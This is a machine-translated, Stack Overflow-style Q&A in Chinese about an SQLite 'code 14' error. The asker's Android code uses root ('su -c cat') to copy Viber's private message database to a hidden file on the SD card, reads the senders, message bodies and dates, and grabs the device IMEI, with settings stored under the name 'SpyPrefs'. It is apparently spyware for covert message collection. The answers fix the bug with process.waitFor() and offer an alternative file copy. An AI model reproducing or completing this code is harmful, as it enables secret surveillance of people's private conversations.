2014-01-08 37 views
2

我已經紮根手機並將其他應用程序的數據庫複製到SD卡中。SQLite:例外:未知錯誤(代碼14):無法打開數據庫

在下面的代碼中,它只是複製db文件,然後從表中獲取數據。此代碼拋出異常Exception:unknown error (code 14): Could not open database

如果您對此有任何想法,夥計們會幫助我。

String filep ="/mnt/sdcard/.configsvb.db"; 
String filefolder="/data/data/com.viber.voip/databases/viber_messages"; 
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "}); 

new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file. 

Helper.java

public void readvb(String filep,Context con, StringBuilder data) 
{ 
     File dbfile = new File(filep); 
     SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE); 
     Editor editor = preferences.edit(); 
     if(dbfile.exists()) 
     { 
       myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS); 
       long lastmessage = preferences.getLong("LastViberRead", 0); 
       long msgtime=0; 
       StringBuilder xml = new StringBuilder(); 
       LogsTable logtable= new LogsTable(con); 
       Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null); 

       int count=0; 
       String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId(); 
       SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss"); 
       if(cursor != null) 
       { 

       } 
     } 
} 
+0

您是否設置了? –

+0

是的我已經在清單中有這個。 –

+0

我加了我自己的回覆,試試看,祝你好運! –

回答

1

我通過調用waitFor()來解決我的問題,因爲waitFor()在不同的進程中運行。此方法使調用線程等待與此對象關聯的本機進程完成執行。

Process process = Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "}); 
process.waitFor(); 
0

嘗試:

static class DatabaseClass extends SQLiteOpenHelper { 

    DatabaseClass(final Context context) { 
     super(context, Environment.getExternalStorageDirectory() 
       + File.separator + "/DataBase/" + File.separator 
      + DATABASE_NAME, null, DATABASE_VERSION); 
} 

也看看這裏:

http://techin-android.blogspot.it/2011/08/how-to-create-sqlite-databse-in-sdcard.html

UPDAT E:

要複製的文件,而不是

Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "}); 

你可以使用這個片段:

InputStream myInput = new FileInputStream("/data/data/pack_name/databases/databasename.db"); 

File directory = new File("/sdcard/some_folder"); 

if (!directory.exists()) { 
    directory.mkdirs(); 
} 

OutputStream myOutput = new FileOutputStream(directory.getPath() + "/AppName.backup"); 

byte[] buffer = new byte[1024]; 
int length; 
while ((length = myInput.read(buffer)) > 0) { 
    myOutput.write(buffer, 0, length); 
} 

myOutput.flush(); 
myOutput.close(); 
myInput.close(); 

......因爲我不知道 「貓」 的命令:不它爲複製的文件設置了正確的權限?

+0

我的複製數據庫的代碼工作正常,但打開數據庫連接時,它返回異常'例外:未知錯誤(代碼14):無法打開數據庫' –

+0

好吧,我不是非常專業的執行運行時命令,但,只是想...複製命令是否對文件設置了正確的權限?所以我建議手動複製文件,使用流... –

+0

我在我的問題寫道,我的手機是根源,所以我可以訪問任何應用程序的數據 –

相關問題